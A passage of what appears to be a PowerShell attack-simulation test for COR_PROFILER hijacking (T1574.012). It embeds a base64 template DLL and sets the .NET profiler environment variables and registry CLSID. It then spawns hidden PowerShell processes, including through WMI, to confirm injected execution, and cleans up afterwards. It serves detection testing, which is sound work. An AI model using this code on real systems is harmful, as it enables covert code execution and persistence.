RwAAKwnAABAHQAAQh0AAMAnAABgHQAAZh0AAMgnAABmHQAAfR0AAJAmAAB9HQAAlh0AAJAmAACWHQAAqh0AAJAmAACqHQAA4B0AABQnAADgHQAA+B0AAHQnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAYAAAAGAAAgAAAAAAAAAAAAAAAAAAAAQACAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAJBAAASAAAAGBQAACRAAAAAAAAAAAAAAAAAAAAAAAAADw/eG1sIHZlcnNpb249JzEuMCcgZW5jb2Rpbmc9J1VURi04JyBzdGFuZGFsb25lPSd5ZXMnPz4NCjxhc3NlbWJseSB4bWxucz0ndXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjEnIG1hbmlmZXN0VmVyc2lvbj0nMS4wJz4NCjwvYXNzZW1ibHk+DQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACQAAADooPCg+KAAoQihWKFgoZiisKK4olijYKNoo3CjAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=')

    # Offset to the template GUID in the binary above. The template GUID will be replaced with the test GUID.
    $GuidOffset = 0x1390

    # Use a template profiler dll if one wasn't supplied
    if ($ProfilerPath) {
        $TargetPath = Resolve-ProfilerPath -InputPath $ProfilerPath
        $UseTemplateExecutable = $False
    } else {
        $UseTemplateExecutable = $True

        if ([IntPtr]::Size -eq 4) {
            Write-Error 'The template profiler DLL is not supported in 32-bit PowerShell. You can supply your own profiler DLL using the -ProfilerPath parameter.'
    
            return
        }

        $TargetPath = Resolve-ProfilerPath -InputPath 'Profiler.dll'
        $SourceDllBytes = $TemplateSourceBytes
        
        $GuidBytes = [Text.Encoding]::ASCII.GetBytes($TestGuid)

        # Replace the template GUID "AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA" in the test executable with the test GUID.
        for ($i = 0; $i -lt $GuidBytes.Length; $i++) {
            $SourceDllBytes[($GuidOffset + $i)] = $GuidBytes[$i]
        }
       [IO.File]::WriteAllBytes($TargetPath, $SourceDllBytes)
    }

    # Ensure a valid path to the profiler DLL is supplied before we change any environment variables
    if (-not (Test-Path $TargetPath)) {
        Write-Error "Cannot Resolve supplied profiler path."
        return
    }

    # Calculate the checksum of the profiler dll
    $SourceDllHash = Get-FileHash -Algorithm SHA256 -Path $TargetPath

    # check the current state of environment vairables
    # Validate to see if the %COR_ENABLE_PROFILING% already exists
    if (-not (Get-EnvVar -EnvVar 'COR_ENABLE_PROFILING' -Scope $ProfilerScope)) {
        $ProfilingEnvVarPreviouslySet = $False
    }
    else {
        $ProfilingEnvVarPreviouslySet = $True
    }

    # Validate to see if the %COR_PROFILER% already exists
    if (-not (Get-EnvVar -EnvVar 'COR_PROFILER' -Scope $ProfilerScope)) {
        $ProfilerCLSIDEnvVarPreviouslySet = $False
    }
    else {
        $ProfilerCLSIDEnvVarPreviouslySet = $True
    }
    # Validate to see if the %COR_PROFILER_PATH% already exists
    if (-not (Get-EnvVar -EnvVar 'COR_PROFILER_PATH' -Scope $ProfilerScope)) {
        $ProfilerPathEnvVarPreviouslySet = $False
    }
    else {
        $ProfilerPathEnvVarPreviouslySet = $True
    }

    # If %COR_ENABLE_PROFILING% does not exist, set it. Or set it regardless if we are Forcing.
    if (-not $ProfilingEnvVarPreviouslySet) {
        Set-EnvVar -EnvVar 'COR_ENABLE_PROFILING' -Scope $ProfilerScope -EnvVarValue 1 
    } else {
        Write-Verbose '%COR_ENABLE_PROFILING% is already set.'

        if ($Force) {
            Write-Verbose 'Overriding existing %COR_ENABLE_PROFILING variable'

            Set-EnvVar -EnvVar 'COR_ENABLE_PROFILING' -Scope $ProfilerScope -EnvVarValue 1 
        } else {
        Write-Error '%COR_ENABLE_PROFILING% is already set and will not be overridden. Use -Force to override any existing %COR_ENABLE_PROFILING% variable'
        }
    }

    # Format the Profiler CLSID
    $ProfilerCLSIDFormatted = "{$ProfilerCLSID}" 
    
    # if %COR_PROFILER% does not exist, set it. Or set it regardless if we are Forcing.
    if (-not ($ProfilerCLSIDEnvVarPreviouslySet)) {
        Set-EnvVar -EnvVar 'COR_PROFILER' -EnvVarValue $ProfilerCLSIDFormatted -Scope $ProfilerScope
    } else {
        Write-Verbose '%COR_PROFILER% is already set'
        if ($Force) {
            Write-Verbose "Overriding existing %COR_PROFILER% variable"

            Set-EnvVar -EnvVar 'COR_PROFILER' -EnvVarValue $ProfilerCLSIDFormatted -Scope $ProfilerScope
        } else {
            Write-Error '%COR_PROFILER% is already set and will not be overridden. Use -Force to override any existing %COR_PROFILER% variable'
        }
    }

    # if %COR_PROFILER_PATH% does not exist, set it. Or set it regardless if we are Forcing.
    if (-not ($ProfilerPathEnvVarPreviouslySet)) {
        Set-EnvVar -EnvVar 'COR_PROFILER_PATH' -EnvVarValue $TargetPath -Scope $ProfilerScope
    } else {
        Write-Verbose '%COR_PROFILER_PATH% is already set'
        if ($Force) {
            Write-Verbose "Overriding existing %COR_PROFILER_PATH% variable"

            Set-EnvVar -EnvVar 'COR_PROFILER_PATH' -EnvVarValue $TargetPath -Scope $ProfilerScope
        } else {
            Write-Error '%COR_PROFILER_PATH% is already set and will not be overridden. Use -Force to override any existing %COR_PROFILER% variable'
        }
    }

    if ($ProfilerType -eq 'Registered') {
        switch ($ProfilerScope) {
            'Machine'
            {
                $RegHive = [string]"HKLM:\SOFTWARE\Classes\CLSID"
            }
            'User'
            {
                $RegHive = [string]"HKCU:\Software\Classes\CLSID"
            }
        }
        $RegPath = [string]::Format("{0}\{1}\{2}", $RegHive, $ProfilerCLSIDFormatted, 'InprocServer32')
        Write-Verbose ([string]::Format("Registering Profiler Dll with CLSID {0} in: {1}", $ProfilerCLSIDFormatted, $RegPath))
        New-Item -Path $RegPath -Value $TargetPath -Force | Out-Null
    }
    

    # Remove any extra ChildProcSpawned events
    Unregister-Event -SourceIdentifier 'ProcessSpawned' -ErrorAction SilentlyContinue
    Get-Event -SourceIdentifier 'ChildProcSpawned' -ErrorAction SilentlyContinue | Remove-Event
    
    # Trigger an event any time cmd.exe has $TestGuid in the command line.
    $WMIEventQuery = "SELECT * FROM __InstanceCreationEvent WITHIN .1 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'cmd.exe' AND TargetInstance.CommandLine LIKE '%$($TestGuid)%'"

    Write-Verbose "Registering CMD child process creation WMI event using the following WMI event query: $WMIEventQuery"

    $null = Register-CimIndicationEvent -SourceIdentifier 'ProcessSpawned' -Query $WMIEventQuery -Action {
        $ParentProcessID = $EventArgs.NewEvent.TargetInstance.ParentProcessId

        $ParentProcess = Get-CimInstance -ClassName 'Win32_Process' -Filter "ProcessId = $ParentProcessID"
        $ExecutableFileInfo = Get-Item -Path $ParentProcess.ExecutablePath

        $SpawnedProcInfo = [PSCustomObject] @{
            ProcessId = $EventArgs.NewEvent.TargetInstance.ProcessId
            ProcessCommandLine = $EventArgs.NewEvent.TargetInstance.CommandLine
            ParentProcessId = $ParentProcessID
            ParentProcessCommandLine = $ParentProcess.CommandLine
            ParentPath = $ParentProcess.Path
        }

        if (@('POWERSHELL', 'powershell.exe') -contains $ExecutableFileInfo.VersionInfo.InternalName) {
            # Signal that the child proc was spawned and surface the relevant into to Wait-Event
            New-Event -SourceIdentifier 'ChildProcSpawned' -MessageData $SpawnedProcInfo
        }
    }

    # Create a process that loads the CLR. In order to test User and Machine scoped profilers it's easier to create a process off of wmiprvse.exe which updates those environment variables frequently.
    if ($ProfilerScope -eq "Process") {
        $procStartInfo = [System.Diagnostics.ProcessStartInfo]::new("powershell.exe")
        $procStartInfo.CreateNoWindow = $True
        $procStartInfo.UseShellExecute = $false
        $TargetProcessStartResults = [System.Diagnostics.Process]::Start($procStartInfo)
    } else {
        $ProcessStartup = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly
        $ProcessStartupInstance = Get-CimInstance -InputObject $ProcessStartup
        $ProcessStartupInstance.ShowWindow = [UInt16] 0 # Hide the window
        $PowershellCommandLine = "powershell.exe"
        $WMITargetProcessStartResults = Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{ CommandLine = $PowershellCommandLine; ProcessStartupInformation = $ProcessStartupInstance }
    }

    $ChildProcSpawnedEvent = Wait-Event -SourceIdentifier 'ChildProcSpawned' -Timeout 8
    $ChildProcInfo = $null

    if ($ChildProcSpawnedEvent) {
        $TestSuccess = $True

        $ChildProcInfo = $ChildProcSpawnedEvent.MessageData
        $ParentProcessId = $ChildProcInfo.ParentProcessId
        $ParentProcessCommandLine = $ChildProcInfo.ParentProcessCommandLine
        $SpawnedProcCommandLine = $ChildProcInfo.ProcessCommandLine
        $SpawnedProcProcessId = $ChildProcInfo.ProcessId
        $ParentProcessPath = $ChildProcInfo.ParentPath

        $ChildProcSpawnedEvent | Remove-Event
    } else {
        Write-Error "cmd.exe child process was not spawned."
        $TestSuccess = $False
    }

    # retrieve relevant registry artifiacts
    if ($ProfilerType -eq 'Registered') {
        $RegisteredProfilerKey = Get-Item -Path $RegPath
        $RegisterdProfilerValue = Get-ItemProperty -Path $RegPath

        $RegisteredProfilerRegistryArtifactsInfo = [PSCustomObject] @{
            RegisteredProfilerRegCOMClass = $RegisteredProfilerKey.Name
            RegisteredProfilerRegCOMClassPathValue  = $RegisterdProfilerValue.'(default)'
        }
    } 

    switch ($ProfilerScope) {
        'Machine'
        {
            $ProfilerRegistryEnvVarKeyPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\"
            $ProfilerRegistryrEnvVarsValues = Get-ItemProperty -Path $ProfilerRegistryEnvVarKeyPath
            $ProfilerRegistryEnvVarPath =  Get-Item -Path $ProfilerRegistryEnvVarKeyPath
            $ProfilerRegistryEnvVarValueNames = $ProfilerRegistryEnvVarPath | Select-Object -Property Property
             
            if ($ProfilerRegistryEnvVarValueNames.Property.Contains('COR_ENABLE_PROFILING')) {
                $CorEnableProfilingValueName = 'COR_ENABLE_PROFILING'
            }

            if ($ProfilerRegistryEnvVarValueNames.Property.Contains('COR_PROFILER')) {
                $CorProfilerValueName = 'COR_PROFILER'
            }

            if ($ProfilerRegistryEnvVarValueNames.Property.Contains('COR_PROFILER_PATH')) {
                $CorProfilerPathValueName = 'COR_PROFILER_PATH'
            }
        }
        'User'
        {
            $ProfilerRegistryEnvVarKeyPath = "HKCU:\Environment\"
            $ProfilerRegistryrEnvVarsValues = Get-ItemProperty -Path $ProfilerRegistryEnvVarKeyPath
            $ProfilerRegistryEnvVarPath =  Get-Item -Path $ProfilerRegistryEnvVarKeyPath
            $ProfilerRegistryEnvVarValueNames = $ProfilerRegistryEnvVarPath | Select-Object -Property Property
             
            if ($ProfilerRegistryEnvVarValueNames.Property.Contains('COR_ENABLE_PROFILING')) {
                $CorEnableProfilingValueName = 'COR_ENABLE_PROFILING'
            }

            if ($ProfilerRegistryEnvVarValueNames.Property.Contains('COR_PROFILER')) {
                $CorProfilerValueName = 'COR_PROFILER'
            }

            if ($ProfilerRegistryEnvVarValueNames.Property.Contains('COR_PROFILER_PATH')) {
                $CorProfilerPathValueName = 'COR_PROFILER_PATH'
            }
        }
    }


    # Cleanup
    Unregister-Event -SourceIdentifier 'ProcessSpawned'

    # Remove any processes we started
    if ($TargetProcessStartResults.HasExited -eq $False) {
        Write-Verbose ([string]::Format("Stopping the target powershell process with id: {0}", $TargetProcessStartResults.Id))
        Stop-Process -Id $TargetProcessStartResults.Id -ErrorAction SilentlyContinue
    }
    if ($WMITargetProcessStartResults.ProcessId) {
        Write-Verbose ([string]::Format("Stopping the target powershell process with id: {0}", $WMITargetProcessStartResults.ProcessId))
        Stop-Process -Id $WMITargetProcessStartResults.ProcessId -ErrorAction SilentlyContinue
    }

    # Remove any environment variables we set
    if (-not $ProfilingEnvVarPreviouslySet) {
        Remove-EnvVar -EnvVar 'COR_ENABLE_PROFILING' -scope $ProfilerScope
    }

    if (-not $ProfilerCLSIDEnvVarPreviouslySet) {
        Remove-EnvVar -EnvVar 'COR_PROFILER' -scope $ProfilerScope
    }

    if (-not $ProfilerPathEnvVarPreviouslySet) {
        Remove-EnvVar -EnvVar 'COR_PROFILER_PATH' -scope $ProfilerScope
    }

    # Remove template profiler dll if we wrote one to disk
    if ($UseTemplateExecutable) {
        [System.IO.File]::Delete($TargetPath)
        Write-Verbose ([string]::Format("Removed template profiler Dll: {0}", $TargetPath))
    }

    if ($ProfilerType -eq 'Registered') {
        $RegPath = [string]::Format("{0}\{1}", $RegHive, $ProfilerCLSIDFormatted)
        Write-Verbose ([string]::Format("Removing registered Profiler Dll with CLSID {0} in: {1}", $ProfilerCLSIDFormatted, $RegPath))
        Remove-Item -Path $RegPath -Recurse -Force -ErrorAction Ignore | Out-Null
    }

    [PSCustomObject] @{
        TechniqueID                                 = 'T1574.012'
        TestSuccess                                 = $TestSuccess
        TestGuid                                    = $TestGuid
        ProfilerScope                               = $ProfilerScope
        ProfilerType                                = $ProfilerType
        ProfilerCLSID                               = $ProfilerCLSIDFormatted
        ProfilerDllPath                             = $TargetPath
        ProfilerDllFileSHA256Hash                   = $SourceDllHash.Hash
        TargetProcessId                             = $ParentProcessId
        TargetProcessPath                           = $ParentProcessPath
        TargetProcessCommandLine                    = $ParentProcessCommandLine
        ChildProcessId                              = $SpawnedProcProcessId
        ChildProcessCommandLine                     = $SpawnedProcCommandLine
        RegisteredProfilerRegistryCOMClassValueName = $RegisteredProfilerRegistryArtifactsInfo.RegisteredProfilerRegCOMClass
        RegisteredProfilerRegistryCOMClassNameValue = $RegisteredProfilerRegistryArtifactsInfo.RegisteredProfilerRegCOMClassPathValue
        CorEnableProfilingEnvVarRegistrySubKey      = $ProfilerRegistryEnvVarPath.Name
        CorEnableProfilingEnvVarRegistryValueName   = $CorEnableProfilingValueName
        CorEnableProfilingEnvVarRegistryNameValue   = $ProfilerRegistryrEnvVarsValues.COR_ENABLE_PROFILING
        CorProfilerEnvVarRegistrySubKey             = $ProfilerRegistryEnvVarPath.Name
        CorProfilerEnvVarRegistryValueName          = $CorProfilerValueName
        CorProfilerEnvVarRegistryNameValue          = $ProfilerRegistryrEnvVarsValues.COR_PROFILER
        CorProfilerPathEnvVarRegistrySubKey         = $ProfilerRegistryEnvVarPath.Name
        CorProfilerPathEnvVarRegistryValueName      = $CorProfilerPathValueName
        CorProfilerPathEnvVarRegistryNameValue      = $ProfilerRegistryrEnvVarsValues.COR_PROFILER_PATH
    }
}